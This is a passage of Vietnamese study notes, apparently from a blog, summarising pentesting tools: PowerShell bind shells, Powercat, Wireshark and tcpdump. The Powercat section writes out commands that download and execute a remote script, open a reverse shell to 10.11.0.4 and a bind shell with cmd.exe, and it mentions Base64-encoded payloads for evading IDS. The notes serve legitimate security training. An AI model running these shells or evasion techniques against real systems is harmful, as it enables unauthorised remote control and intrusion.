- Bind Shell (PowerShell Bind Shells):
- Sử dụng System.Net.Sockets.TcpListener để lắng nghe kết nối và Invoke-Expression để thực thi lệnh.
- Powercat: Là phiên bản PowerShell của Netcat, được viết bởi besimorhino, giúp đơn giản hóa việc tạo bind/reverse shells và chuyển tệp. (Nguồn: 4.3.4 Powercat).
- Có thể tải script cục bộ bằng dot sourcing: . .\powercat.ps1
- Hoặc tải script từ xa bằng iex (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1’)
- Chuyển tệp: powercat -c 10.11.0.4 -p 443 -i C:\Users\Offsec\powercat.ps1
- Reverse Shell: powercat -c 10.11.0.4 -p 443 -e cmd.exe
- Bind Shell: powercat -l -p 443 -e cmd.exe
- Stand-Alone Payloads: Tạo payload độc lập (tập hợp các lệnh PowerShell và một phần của script powercat). Có thể tạo payload mã hóa Base64 (-ge) để tránh bị phát hiện bởi IDS, mặc dù các payload bản rõ (-g) dễ bị phát hiện do kích thước lớn và chuỗi mã hóa cứng.
4. Wireshark: Phân Tích Giao Thức Mạng
Wireshark là một công cụ phân tích mạng và giao thức cần phải có để học các giao thức mạng, phân tích lưu lượng mạng và gỡ lỗi các dịch vụ mạng. (Nguồn: 4.4 Wireshark).
- Nguyên tắc cơ bản: Sử dụng thư viện Libpcap (Linux) hoặc Winpcap (Windows) để bắt gói tin.
- Bộ lọc chụp (Capture Filters): Áp dụng trước khi thu thập dữ liệu, loại bỏ các gói không phù hợp. Các gói bị loại trừ sẽ bị mất.
- Bộ lọc hiển thị (Display Filters): Áp dụng sau khi thu thập, chỉ lọc các gói được hiển thị mà không làm mất dữ liệu gốc. Linh hoạt hơn bộ lọc chụp.
- Ví dụ: ftp hoặc tcp.port == 21
- Theo dõi luồng TCP (Following TCP Streams): Giúp tập hợp lại một phiên cụ thể và hiển thị dữ liệu dễ đọc hơn. Hữu ích để phân tích các giao thức không mã hóa như FTP.
5. Tcpdump: Công Cụ Dòng Lệnh Mạnh Mẽ để Đánh Giá Mạng
Tcpdump là một trình đánh giá mạng dựa trên văn bản, mạnh mẽ và linh hoạt, có trên hầu hết các hệ điều hành Unix và Linux. (Nguồn: 4.5 Tcpdump).
- Đọc tệp chụp gói: sudo tcpdump -r password_cracking_filtered.pcap
- Lọc lưu lượng:Sử dụng các tùy chọn như -n (bỏ qua phân giải DNS), src host, dst host, port.
- Có thể kết hợp với các tiện ích dòng lệnh khác như awk, sort, uniq, head để phân tích sâu hơn.
- Xem nội dung gói tin (Hex/ASCII): Sử dụng tùy chọn -X. sudo tcpdump -nX -r file.pcap
- Lọc tiêu đề nâng cao: Có thể lọc dựa trên các cờ TCP (ví dụ: PSH và ACK) bằng cách tính giá trị bit của chúng trong byte thứ 14 của tiêu đề TCP.
- ‘tcp[13] = 24’ để lọc các gói có cờ PSH và ACK được bật.
- Điều này giúp xác định các gói dữ liệu yêu cầu và phản hồi HTTP.
Tóm Lược
Các công cụ Netcat, Socat, PowerShell, Wireshark và Tcpdump là những công cụ thiết yếu trong bộ công cụ của pentester. Chúng cực kỳ linh hoạt và hữu ích trong các tình huống kiểm thử xâm nhập, đặc biệt khi phải đối mặt với các hạn chế về công cụ trên hệ thống mục tiêu hoặc khi cần di chuyển các tệp nhỏ để mở rộng chỗ đứng. Hiểu rõ cách sử dụng các công cụ này, từ việc kết nối và lắng nghe cổng, chuyển tệp, tạo shell ngược/liên kết (có hoặc không mã hóa), đến phân tích lưu lượng mạng chi tiết, là rất quan trọng để thực hiện kiểm thử xâm nhập hiệu quả. Đặc biệt, việc nhận diện sự khác biệt giữa bind shell và reverse shell, cùng với các kỹ thuật mã hóa của Socat và khả năng phát hiện/tránh IDS của Powercat, là những kiến thức then chốt.




Bình luận về bài viết này